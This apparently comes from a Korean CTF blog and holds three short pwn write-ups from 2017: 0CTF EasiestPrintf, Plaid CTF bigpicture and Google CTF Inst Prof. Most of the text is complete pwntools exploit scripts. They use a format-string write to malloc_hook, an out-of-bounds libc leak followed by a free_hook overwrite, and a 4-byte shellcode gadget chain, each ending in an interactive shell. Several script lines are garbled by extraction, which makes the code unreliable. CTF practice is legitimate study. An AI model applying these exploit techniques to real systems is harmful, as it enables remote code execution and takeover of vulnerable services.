포맷 스트링 버그 문제이다.

codegate문제처럼 스택을 이용해서 printf의 리턴값을 바꾸는 문제로 생각했고 많은 부르트 포싱을 이용해 페이로드를 만들었다.

근데 라이트 업을보니 printf에서 %100000c와 같이 많은 값을 출력시키게 되면 malloc과 free를 호출하게 된다는 사실을 알게됬다

때문에 malloc_hook나 free_hook를 통해서 eip를 컨트롤 할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
host = "localhost"
port = 4000
 
context.clear(arch = 'i386')
= remote(host, port)
raw_input("0CTF")
 
def leak():
    printf_got = 0x8049FC8
    s.recvuntil("read:\n")
    s.sendline(str(printf_got))
    printf_addr = int(s.recv(10), 16)
    return printf_addr
 
if __name__ == "__main__":
    printf_addr = leak()
    libc_base = printf_addr - 0x49670
    malloc_hook = libc_base + 0x1b2768
    system_addr = libc_base + 0x3ada0
    data = 0x804A020
    #data = libc_base + 0x15b9ab
 
    log.info("printf_addr      : " + hex(printf_addr))
    log.info("libc_base        : " + hex(libc_base))
    log.info("malloc_hook      : " + hex(malloc_hook))
    log.info("system_addr      : " + hex(system_addr))
#data: 0x68730000}
    s.recv()
    payload = fmtstr_payload(7, {data: 0x00006873, malloc_hook: system_addr})
    payload += "%" + str(data-32+ "c"
    s.sendline(payload)
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

meepwn CTF 2017 - oldschool  (0) 2017.07.23
MeePwn ctf bs  (0) 2017.07.21
[plaid ctf 2017] bigpicture  (0) 2017.06.29
[google ctf 2017] Inst Prof write up  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
블로그 이미지

powerprove

,

처음에 malloc을 조금 크게 잡으면 libc안에 할당을 하게 된다.

여기서 libc의 main_area쪽과 거리 계산을 통해 -를 이용해서 릭을한다.

그 후 free_hook를 system으로 덮고 malloc할당된 곳에 /bin/sh를 덮어 씌우면 끝이난다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
host = "localhost"
port = 4000
 
= remote(host, port)
raw_input("plaid CTF 2017")
 
def make_payload(a, b, c):
    payload = str(a) + " , " + str(b) + " , " + str(c)
    return payload
 
def leak():
    libc = ""
    addr = -1176712
    for i in range(06):
        payload = make_payload(1, addr + i, 'A')
        s.sendline(payload)
 
        s.recvuntil("overwriting ")
        libc += s.recv(1)
    return u64(libc+"\x00\x00")
 
def exploit(one_shot):
    addr = -1170488 - 24
    for i in range(06):
        payload = make_payload(1, addr + i, one_shot[i])
        s.sendline(payload)
        s.recv()
 
    binsh = "/bin/sh\x00"
    for i in range(0len(binsh)):
        payload = make_payload(0, i, binsh[i])
        s.sendline(payload)
        s.recv()
 
if __name__ == "__main__":
    s.sendline("1000 x 1000")
 
    libc = leak() - 0x3C4B78 - 0x3e0
    system_addr = libc + 0x45390
 
    log.info("libc_base        : " + hex(libc))
    log.info("system_addr      : " + hex(system_addr))
 
    exploit(p64(system_addr))
    s.sendline("quit")
    s.recv(100)
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

MeePwn ctf bs  (0) 2017.07.21
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[google ctf 2017] Inst Prof write up  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
codegate_final 2017 real  (0) 2017.06.23
블로그 이미지

powerprove

,

shellocode를 4바이트만큼 실행시켜주는데

주요 레지스터들을 초기화 시켜준다

그래서 r14를 이용해서 rsp+0x50에 NULL을 넣어주고

one_shot gadget을 이용해서 쉘을 땃다



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
= remote("localhost"4000)
raw_input("googlectf 2017")
 
 
context.arch = "amd64"
shellcode = "\x90"*100
shellcode += asm(shellcraft.amd64.linux.sh())
 
 
if __name__ == "__main__":
 
    log.info("making rsp+0x30 = NULL")
    payload = ""
    payload += "\x49\x89\xE6\xC3"       # mov r14, rsp ; ret
    payload += "\x4D\x01\xD6\xC3"       # add r14, r10 ; ret
    payload += "\x4D\x01\xD6\xC3"       # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\xC3"*0xc   # inc r14 ; ret
    payload += "\x4D\x89\x3E\x90"       # mov QWORD PTR [r14],r15 ; ret
 
    log.info("making one_shot")
    payload += "\x4C\x8B\x75\x18"       # mov r14, [rbp + 0x10]
    payload += "\x4D\x01\xD6\x90"*6     # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\x90"*3     # inc r14
    payload += "\x4D\x01\xDE\xC3"*4        # add r14, r11 ; ret
    payload += "\x4D\x01\xD6\xC3"*8        # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\xC3"*0x1c  # inc r14 ; ret
    payload += "\x41\xFF\xD6\xC3"
    s.send(payload)
 
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
codegate_final 2017 real  (0) 2017.06.23
허스트 CTF pwn write up  (0) 2017.05.31
블로그 이미지

powerprove

,